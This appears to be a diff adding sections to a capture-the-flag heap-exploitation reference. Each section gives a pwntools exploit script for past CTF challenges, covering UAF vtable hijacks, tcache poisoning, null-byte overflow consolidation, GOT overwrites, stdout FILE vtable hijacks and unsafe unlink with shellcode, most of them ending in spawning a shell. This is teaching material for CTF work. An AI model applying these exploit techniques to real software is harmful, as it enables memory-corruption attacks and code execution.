|
+
|
|
26
|
+
```python
|
|
27
|
+
from pwn import *
|
|
28
|
+
|
|
29
|
+
# Heap spray: fill 16MB with system() address at offset +3
|
|
30
|
+
# Each spray chunk: 3 bytes padding + 8 bytes system_addr, repeated
|
|
31
|
+
spray_unit = b"\x00" * 3 + p64(system_addr)
|
|
32
|
+
spray_data = spray_unit * (0x1000000 // len(spray_unit))
|
|
33
|
+
|
|
34
|
+
# Trigger heap spray via application interface
|
|
35
|
+
for i in range(spray_count):
|
|
36
|
+
alloc(spray_data[:chunk_size])
|
|
37
|
+
|
|
38
|
+
# UAF object at address 0xXX006873
|
|
39
|
+
# Bytes at object start: 73 68 00 XX = "sh\x00..."
|
|
40
|
+
# When vtable call dispatches: system(this) → system("sh")
|
|
41
|
+
|
|
42
|
+
# Trigger: free the target object, then invoke its virtual method
|
|
43
|
+
free(target_obj)
|
|
44
|
+
trigger_vtable_call(target_obj) # calls system("sh")
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
**Key insight:** The vtable pointer value itself serves as the string argument to `system()`. By arranging the heap spray so objects land at addresses containing `0x6873` (ASCII "sh") in the low bytes, the object's address doubles as a valid shell command string. This eliminates the need for a separate controlled string — the pointer IS the argument.
|
|
48
|
+
|
|
49
|
+
**When to recognize:** UAF on a C++ object with virtual methods, where you control heap layout but not the exact content at the object's `this` pointer. If `system()` is called with `this` as the first argument (common in vtable dispatch), the object's address just needs to decode as a valid command string.
|
|
50
|
+
|
|
51
|
+
**References:** BCTF 2017
|
|
52
|
+
|
|
53
|
+
See [heap-fsop.md](heap-fsop.md) for FILE-structure (_IO_FILE) exploitation: fastbin stdout vtable hijack, _IO_buf_base null-byte overwrite, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on stdin FILE fields, and related UAF/refcount bugs.
|
|
54
|
+
|
|
55
|
+
---
|
|
56
|
+
|
|
57
|
+
## Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)
|
|
58
|
+
|
|
59
|
+
**Pattern:** A contact manager allocates a struct `{name, bio}` on the heap but only writes `name`, leaving `bio` uninitialized. After a delete-then-create cycle the new allocation reuses a chunk that still holds a stale pointer from a previous contact. The application's `print_contact()` dereferences `bio`, turning the leftover allocator residue into a controlled heap/libc read.
|
|
60
|
+
|
|
61
|
+
```c
|
|
62
|
+
struct contact { char *name; char *bio; }; // bio never zeroed
|
|
63
|
+
|
|
64
|
+
void create() {
|
|
65
|
+
struct contact *c = malloc(sizeof *c);
|
|
66
|
+
c->name = malloc(NAME_SZ);
|
|
67
|
+
read_line(c->name, NAME_SZ);
|
|
68
|
+
// bio left uninitialized!
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
void print(struct contact *c) { puts(c->bio); } // leaks stale pointer target
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
```python
|
|
75
|
+
from pwn import *
|
|
76
|
+
io = process("./contacts")
|
|
77
|
+
|
|
78
|
+
# 1. Prime the heap: create a contact whose name chunk will later be reused
|
|
79
|
+
# as the struct for the next contact.
|
|
80
|
+
io.sendline("create"); io.sendline("A" * 0x18)
|
|
81
|
+
io.sendline("delete 0")
|
|
82
|
+
|
|
83
|
+
# 2. Create a new contact — it grabs the previously freed chunk. The old
|
|
84
|
+
# name bytes now live in the struct's `bio` field.
|
|
85
|
+
io.sendline("create"); io.sendline("B" * 0x10)
|
|
86
|
+
|
|
87
|
+
# 3. Print → leaks the residue as if it were a bio string.
|
|
88
|
+
io.sendline("print 0")
|
|
89
|
+
leak = u64(io.recvline().ljust(8, b"\x00"))
|
|
90
|
+
log.success(f"heap leak: {leak:#x}")
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
**Key insight:** Uninitialized fields are write-what-where primitives in reverse — the attacker does not choose *what* the field holds but can *place* chunks so that useful bytes end up in it. Target any struct field that is (a) read later without being written and (b) subject to chunk reuse. Common culprits: manually-written `malloc` + `read_line` pairs, C++ classes with members that skip initialisation in non-default constructors, and zero-allocated-then-partially-written caches.
|
|
94
|
+
|
|
95
|
+
**References:** picoCTF 2018 — Contacts, writeup 11585
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)
|
|
100
|
+
|
|
101
|
+
**Pattern:** `strcpy(dst, user_name)` appends a trailing NUL that falls one byte past the allocated chunk, clearing `PREV_INUSE` on the next chunk's size field. With a forged `prev_size`, `free()` triggers backward consolidation across a tcache-resident chunk, producing two overlapping heap regions. Splitting out a remainder chunk keeps main_arena pointers in the `fd`/`bk` of one of the overlapping allocations, giving an unsorted-bin-style libc leak in the tcache era.
|
|
102
|
+
|
|
103
|
+
```c
|
|
104
|
+
// Allocation pattern (glibc 2.27 tcache)
|
|
105
|
+
char *a = malloc(0xF8); // victim 1
|
|
106
|
+
char *b = malloc(0x18); // small header chunk with PREV_INUSE
|
|
107
|
+
strcpy(a, payload); // 0xF8 bytes + '\0' overflows into b->size
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
```python
|
|
111
|
+
from pwn import *
|
|
112
|
+
|
|
113
|
+
io = process("./children_tcache")
|
|
114
|
+
libc = ELF("./libc-2.27.so")
|
|
115
|
+
|
|
116
|
+
# 1. Zero the 0xda memset residue with repeated smaller allocations.
|
|
117
|
+
for size in (0x70, 0x60, 0x50, 0x40):
|
|
118
|
+
io.sendline("add"); io.sendline(str(size)); io.sendline(b"\x00" * size)
|
|
119
|
+
|
|
120
|
+
# 2. Set up two adjacent chunks:
|
|
121
|
+
io.sendline("add"); io.sendline("0xF8"); io.sendline(b"A" * 0xF8) # victim 1
|
|
122
|
+
io.sendline("add"); io.sendline("0x18"); io.sendline(b"B" * 0x18) # header
|
|
123
|
+
|
|
124
|
+
# 3. Free victim 1 into the smallbin (needs a > 0x408 sibling to bypass tcache).
|
|
125
|
+
io.sendline("add"); io.sendline("0x420"); io.sendline(b"X" * 0x420)
|
|
126
|
+
io.sendline("del 0") # smallbin → keeps libc fd/bk
|
|
127
|
+
|
|
128
|
+
# 4. Overflow via strcpy: clears PREV_INUSE, forges prev_size → backward consolidate
|
|
129
|
+
overflow = b"A" * 0xF0 + p64(0x100) # fake prev_size
|
|
130
|
+
io.sendline("edit 1"); io.sendline(overflow)
|
|
131
|
+
io.sendline("del 1") # consolidate: now we overlap
|
|
132
|
+
|
|
133
|
+
# 5. Re-allocate the coalesced region and read the libc pointer that still
|
|
134
|
+
# lives in the old fd/bk location.
|
|
135
|
+
io.sendline("add"); io.sendline("0x110"); io.sendline(b"P" * 0x10)
|
|
136
|
+
io.sendline("show 0")
|
|
137
|
+
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
|
|
138
|
+
libc.address = leak - (libc.symbols["main_arena"] + 0x60)
|
|
139
|
+
log.success(f"libc base {libc.address:#x}")
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
**Key insight:** tcache bypasses most pre-2.27 consolidation tricks, but the `strcpy` null-byte overflow remains viable because it acts on the *next chunk's header*, not the current chunk's in-use flag. Combined with careful zeroing of glibc 2.26+ memset residue (the `0xda` pattern glibc uses on free), you can re-use classic off-by-one-null techniques even in a tcache world. The magic sizes are: large enough to skip the tcache (>0x408 for the freed chunk), small enough to land next to the overflow target.
|
|
143
|
+
|
|
144
|
+
**References:** HITCON CTF 2018 — Children Tcache, writeup 11929
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)
|
|
149
|
+
|
|
150
|
+
**Pattern:** Go binary compiled with `cgo` places a name buffer immediately adjacent to a struct whose first field is a function pointer (C-style vtable). Overflowing the name field corrupts the next struct's function pointer. First overwrite → redirect the call to `puts(got['free'])` to leak libc. Second overwrite → point free's GOT entry at `system`, then free a chunk whose contents are `"/bin/sh"`.
|
|
151
|
+
|
|
152
|
+
```python
|
|
153
|
+
# 1. Leak libc
|
|
154
|
+
payload = b'A'*name_size + p64(puts_plt) + p64(pop_rdi_ret) + p64(free_got)
|
|
155
|
+
io.send(payload); io.recvuntil(b'name: '); libc = u64(io.recv(6).ljust(8, b'\x00'))
|
|
156
|
+
|
|
157
|
+
# 2. Overwrite free@GOT with system
|
|
158
|
+
libc_base = libc - libc_syms['puts']
|
|
159
|
+
io.send(b'A'*name_size + p64(libc_base + libc_syms['system']))
|
|
160
|
+
|
|
161
|
+
# 3. Free a chunk whose contents are "/bin/sh\x00"
|
|
162
|
+
io.sendline('/bin/sh')
|
|
163
|
+
io.sendline('delete 0')
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
**Key insight:** cgo binaries often have C-style structs next to Go-allocated buffers, so classic C-heap techniques still work against Go servers. Look for `GoString` + `char*` + function pointer patterns in the decompile; the layout is usually deterministic.
|
|
167
|
+
|
|
168
|
+
**References:** RITSEC CTF 2018 — Yet Another HR Management Framework, writeups 12283, 12287
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
## Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)
|
|
173
|
+
|
|
174
|
+
**Pattern:** The visible menu caps allocations at a few chunks, but disassembly reveals an undocumented option (`1337`) that calls `malloc` and `edit` without updating the counter — effectively giving you unlimited allocations. Combined with a vanilla tcache UAF, this lets you flood the tcache, overwrite an entry's `fd` with a BSS target, and `malloc` arbitrary addresses.
|
|
175
|
+
|
|
176
|
+
```python
|
|
177
|
+
def hidden(sz, data):
|
|
178
|
+
p.sendlineafter(b'>', b'1337')
|
|
179
|
+
p.sendlineafter(b'size:', str(sz).encode())
|
|
180
|
+
p.sendafter(b'data:', data)
|
|
181
|
+
|
|
182
|
+
free(0); free(1)
|
|
183
|
+
hidden(0x20, p64(bss_target)) # tcache fd → bss_target
|
|
184
|
+
_ = malloc(0x20) # first chunk back
|
|
185
|
+
shell = malloc(0x20) # returns bss_target
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
**Key insight:** Always dump the menu parser for undocumented branches before assuming a challenge is "rate-limited". Numeric options like `1337`, `9999`, `0xdead` are classic bypasses that the author ships to debug the challenge.
|
|
189
|
+
|
|
190
|
+
**References:** FireShell CTF 2019 — babyheap, writeup 12962
|
|
191
|
+
|
|
192
|
+
---
|
|
193
|
+
|
|
194
|
+
## Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)
|
|
195
|
+
|
|
196
|
+
**Pattern:** Small allocation budget, fastbin + tcache available. Double-free a fastbin chunk into the tcache, malloc to obtain a tcache entry that points at `_IO_2_1_stdout_`, then overwrite stdout's `vtable` pointer to a fake jump table where `_IO_file_overflow` → `system`. Next printf call executes `system("/bin/sh")`.
|
|
197
|
+
|
|
198
|
+
```python
|
|
199
|
+
# 1. Free A twice (bypasses fastbin double-free via tcache)
|
|
200
|
+
free(A); free(A)
|
|
201
|
+
# 2. Malloc returns A; write stdout addr as next fd
|
|
202
|
+
edit(A, p64(stdout))
|
|
203
|
+
# 3. Next malloc returns stdout
|
|
204
|
+
malloc()
|
|
205
|
+
malloc() # returns &stdout
|
|
206
|
+
edit(stdout, fake_file_struct(vtable=fake_vt))
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
Fake vtable entry: slot for `_IO_file_overflow = system`.
|
|
210
|
+
|
|
211
|
+
**Key insight:** tcache skips fastbin safety checks, so a double-free directly into the tcache works without the usual size-field trickery. The resulting write-where primitive reaches `_IO_2_1_stdout_` in libc trivially.
|
|
212
|
+
|
|
213
|
+
**References:** BCTF 2018 — easiest, writeup 12489
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)
|
|
218
|
+
|
|
219
|
+
**Pattern:** Only ~2 allocations available — too few for a traditional tcache dup. Instead, fill tcache, overflow into fastbin, craft chunk whose header points inside a known structure. When fastbin allocation promotes back into tcache (after a future free), malloc returns the header address.
|
|
220
|
+
|
|
221
|
+
```python
|
|
222
|
+
for _ in range(7): free(tcache_chunks[_]) # fill tcache bin
|
|
223
|
+
free(fastbin_chunk) # goes to fastbin
|
|
224
|
+
edit(fastbin_chunk, p64(target_hdr)) # poison fastbin fd
|
|
225
|
+
# Drain tcache so next free of fastbin_chunk promotes:
|
|
226
|
+
for _ in range(7): malloc(size)
|
|
227
|
+
free(fastbin_chunk) # now lands in tcache
|
|
228
|
+
malloc(size) # returns tcache head = target_hdr
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
**Key insight:** tcache and fastbin share size classes at certain boundaries; a chunk that starts in one often migrates to the other. Use that promotion as an additional reallocation step when budget is tight.
|
|
232
|
+
|
|
233
|
+
**References:** BCTF 2018 — three/houseofatum, writeups 12476, 12477
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## 6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)
|
|
238
|
+
|
|
239
|
+
**Pattern (archiver):** C++ compressor keeps a 48-element QWORD cache (`cached_qwords[48]`) but the cache-read/write opcodes accept a 6-bit index (0-63), giving OOB access into the surrounding object (`buf`, `buf_size`, `buf_offset_Q`, `written_bytes`, `print_uncomp_fsz`). All operations are QWORD-aligned so you cannot directly slice a function pointer; instead, abuse the unused `written_bytes` counter as a programmable offset accumulator to turn `print_uncomp_fsz` into `cat_flag()`.
|
|
240
|
+
|
|
241
|
+
```python
|
|
242
|
+
# OOB write primitives (a2 in [0, 0x3f]):
|
|
243
|
+
# cache_qword(a2, k) -> cached_qwords[a2] = buf[buf_off_Q - k]
|
|
244
|
+
# save_cached_qword_to_comp(a2) -> buf[++off] = cached_qwords[a2]; written_bytes += 8
|
|
245
|
+
|
|
246
|
+
# 1. Preallocate buf so it is not realloc'd later (avoids data loss).
|
|
247
|
+
# 2. Save print_uncomp_fsz into buf via OOB save_cached_qword_to_comp(0x34).
|
|
248
|
+
# 3. Move it back into written_bytes via OOB cache_qword(0x33, 1).
|
|
249
|
+
# 4. Emit 0x38 cached QWORDs -> written_bytes += 0x38*8 == 0x1c0 (offset to cat_flag).
|
|
250
|
+
# 5. Save the now-incremented written_bytes into buf, then OOB write it back
|
|
251
|
+
# on top of print_uncomp_fsz. Trigger an error path so main() calls it.
|
|
252
|
+
payload += save_cached_qword_to_comp(0x34) # fn ptr -> buf
|
|
253
|
+
payload += cache_qword(0x33, 1) # buf -> written_bytes
|
|
254
|
+
payload += save_cached_qword_to_comp(0) * 0x38 # written_bytes += 0x1c0
|
|
255
|
+
payload += save_cached_qword_to_comp(0x33) # written_bytes -> buf
|
|
256
|
+
payload += cache_qword(0x34, 1) # buf -> print_uncomp_fsz
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**Key insight:** When OOB writes are QWORD-aligned but the target function sits only `N*0x10` bytes from an existing pointer, look for a process-local counter in the same struct that is incremented by a known stride. Treating that counter as an arithmetic shim turns an aligned-write primitive into a byte-precise pointer increment, bypassing PIE without ever leaking a code address.
|
|
260
|
+
|
|
261
|
+
**References:** Codegate CTF 2019 Preliminary — archiver, writeup 13014
|
|
262
|
+
|
|
263
|
+
---
|
|
264
|
+
|
|
265
|
+
## IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)
|
|
266
|
+
|
|
267
|
+
**Pattern (BabyHeap2017):** Heap overflow in a full-mitigation binary (Full RELRO, canary, NX, PIE, ASLR). `calloc` normally zeroes freshly-allocated chunks, blocking the classic unsorted-bin leak where fd/bk overlap reusable data. However, when the chunk's `IS_MMAPED` flag is set, glibc skips zeroing. Overflow the preceding chunk to flip `IS_MMAPED` on a freed unsorted-bin chunk, then re-allocate it with `calloc` — the arena pointers in fd/bk survive and leak libc.
|
|
268
|
+
|
|
269
|
+
```python
|
|
270
|
+
# Layout: A (0x80) | B (0x80 freed -> unsorted) | C (victim with overflow)
|
|
271
|
+
# Overflow from A into B's chunk header: set size |= IS_MMAPED (bit 1 of size field)
|
|
272
|
+
edit(A, b'A'*0x80 + p64(0) + p64(0x91 | 0x2)) # prev_size=0, size=0x91|IS_MMAPED
|
|
273
|
+
|
|
274
|
+
# calloc-reallocate B: because IS_MMAPED is set, calloc does NOT memset it.
|
|
275
|
+
# B's fd/bk still point to main_arena + 0x58 -> libc leak via view(B).
|
|
276
|
+
malloc(0x80) # returns B with libc pointer intact in first 16 bytes
|
|
277
|
+
libc_base = leak - main_arena_offset
|
|
278
|
+
|
|
279
|
+
# Follow-up: fastbin dup -> __malloc_hook -> one_gadget
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
**Key insight:** `calloc`'s zeroing is conditional on the allocator path. Setting `IS_MMAPED` via heap overflow tricks `calloc` into treating the reused chunk as freshly mmap'd and skipping `memset`, preserving any arena pointers previously written into fd/bk. A 2-bit metadata overwrite defeats the "calloc blocks leaks" assumption.
|
|
283
|
+
|
|
284
|
+
**References:** 0CTF 2017 Quals — babyheap, writeup 13262
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)
|
|
289
|
+
|
|
290
|
+
**Pattern (straw_clutcher):** File-server heap has a `RENAME` handler that length-checks `old_name` twice instead of `old_name`/`new_name`, giving a bounded heap overflow into the adjacent `file_t` (`filename[0x20]`, `file_size`, `data`, `free_option`, `prev_file`). Every filename must match `[A-Za-z0-9]+.[A-Za-z0-9]{3}`, which rules out full fastbin-fd overwrites — but the regex only sees the **first null-terminated string** stored in `filename`, so the bytes after a preserved null are unconstrained. Corrupt only the LSB of `prev_file` so it re-points to `file->data` (attacker-controlled), forging a fake chunk that enables double-free + fastbin attack on `__malloc_hook`.
|
|
291
|
+
|
|
292
|
+
```python
|
|
293
|
+
# 1. Leak libc/heap by overwriting file_size to huge value, then RETR dumps the heap.
|
|
294
|
+
# 2. Create file whose data bytes satisfy regex as a fake file_t chunk header.
|
|
295
|
+
pc.sendline('PUT EEE.EXE {}'.format(0x48))
|
|
296
|
+
pc.send(p64(0x4848482e484848) + p64(0)*4 # fake filename "HHH.HHH"
|
|
297
|
+
+ p64(0x68) # fake file_size
|
|
298
|
+
+ p64(heap + 0x250) + p64(0) # fake data
|
|
299
|
+
+ p64(heap + 0x190)) # fake prev_file
|
|
300
|
+
# 3. Produce two 0x70 freed chunks, then overwrite LSB of file->prev_file via rename:
|
|
301
|
+
pc.sendline('RENAME EEE.EXE ' + 'E'*7*8 + 'EEEEE.EXP')
|
|
302
|
+
# Only LSB of prev_file changes -> upper bytes preserved, LSB lands inside data.
|
|
303
|
+
# 4. DELE the forged entry -> double-free on 0x70 tcache/fastbin.
|
|
304
|
+
# 5. Classic fastbin poison onto __malloc_hook - 0x23, then trigger with PUT.
|
|
305
|
+
```
|
|
306
|
+
|
|
307
|
+
**Key insight:** When an overflow is byte-addressable but must pass a character-class filter, target only the LSB of heap-metadata pointers. Heap addresses share upper bytes across chunks, so a single attacker-controlled LSB relocates a pointer inside the same 256-byte window — enough to land it in a buffer you already control, bypassing regex/charset constraints that would reject a full 8-byte overwrite.
|
|
308
|
+
|
|
309
|
+
**References:** BSidesSF 2019 — straw_clutcher, writeup 13763
|
|
310
|
+
|
|
311
|
+
---
|
|
312
|
+
|
|
313
|
+
## Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)
|
|
314
|
+
|
|
315
|
+
**Pattern:** Non-glibc allocator with naive `free` — sets `mem[fd] = bk` (and symmetric `mem[bk+4] = fd`) without any safe-unlink consistency check. Overflow from the 10th chunk (0x104 bytes) corrupts chunk 11's `fd`/`bk` so that when chunk 9 is freed and chunk 11 becomes its "neighbour" during consolidation, the unlink writes `printf@GOT` → shellcode jump.
|
|
316
|
+
|
|
317
|
+
```python
|
|
318
|
+
from pwn import *
|
|
319
|
+
context(arch='i386', os='linux')
|
|
320
|
+
|
|
321
|
+
printf_got = 0x804c004
|
|
322
|
+
array_10_addr = 0x... # leaked from banner output "loc=0xADDR"
|
|
323
|
+
|
|
324
|
+
payload = p32(printf_got - 8) # fake fd -> target = printf GOT (minus 8 for offset)
|
|
325
|
+
payload += p32(array_10_addr + 8) # fake bk -> value = addr of shellcode jump
|
|
326
|
+
payload += b"\xeb\x08" + b"A"*8 + asm(shellcraft.sh()) # jmp +8; pad; shellcode
|
|
327
|
+
payload += b"A" * (260 - len(payload))
|
|
328
|
+
payload += p32(0) # next chunk's size field (prev_in_use = 0)
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
**Key insight:** Custom allocators almost never implement glibc's `fd->bk == chunk && bk->fd == chunk` safe-unlink check introduced in 2004. The classic `write-what-where` via `unlink(chunk)` applies verbatim — target GOT entries that will be called soon (printf, free, puts) and bake a short `jmp +8` over the 8-byte write slot into the shellcode. Validate the faked `size` field of the sentinel chunk so the allocator still consolidates instead of aborting.
|
|
332
|
+
|
|
333
|
+
**References:** DEF CON CTF Qualifier 2014 — heap, writeup 13953
|